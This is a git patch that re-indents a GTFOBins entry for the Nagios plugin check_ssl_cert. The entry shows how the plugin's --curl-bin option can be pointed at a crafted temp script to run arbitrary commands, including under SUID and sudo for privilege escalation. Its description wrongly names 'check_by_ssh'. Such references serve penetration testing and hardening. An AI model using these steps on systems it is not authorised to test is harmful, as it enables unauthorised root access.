From bd1e3ce65da0f8ef227ba6e053f9bb7a7c908803 Mon Sep 17 00:00:00 2001 From: Emanuel Duss Date: Thu, 12 Nov 2020 21:36:18 +0100 Subject: [PATCH] Fixed indentation --- _gtfobins/check_ssl_cert.md | 52 ++++++++++++++++++------------------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/_gtfobins/check_ssl_cert.md b/_gtfobins/check_ssl_cert.md index 6a2b4a3..2e5916d 100644 --- a/_gtfobins/check_ssl_cert.md +++ b/_gtfobins/check_ssl_cert.md @@ -3,32 +3,32 @@ description: | This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: command: - - code: | - COMMAND='/usr/bin/id' - OUTPUT="output_file" - TF=$(mktemp) - echo "$COMMAND | tee \"$OUTPUT\"" > $TF - chmod +x $TF - check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS - cat $OUTPUT + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + TF=$(mktemp) + echo "$COMMAND | tee \"$OUTPUT\"" > $TF + chmod +x $TF + check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS + cat $OUTPUT suid: - - code: | - COMMAND='/usr/bin/id' - OUTPUT="output_file" - umask 022 - TF=$(mktemp) - echo "$COMMAND | tee \"$OUTPUT\"" > $TF - chmod +x $TF - ./check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS - cat $OUTPUT + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + umask 022 + TF=$(mktemp) + echo "$COMMAND | tee \"$OUTPUT\"" > $TF + chmod +x $TF + ./check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS + cat $OUTPUT sudo: - - code: | - COMMAND='/usr/bin/id' - OUTPUT="output_file" - umask 022 - TF=$(mktemp) - echo "$COMMAND | tee \"$OUTPUT\"" > $TF - chmod +x $TF - sudo check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS - cat $OUTPUT + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + umask 022 + TF=$(mktemp) + echo "$COMMAND | tee \"$OUTPUT\"" > $TF + chmod +x $TF + sudo check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS + cat $OUTPUT ---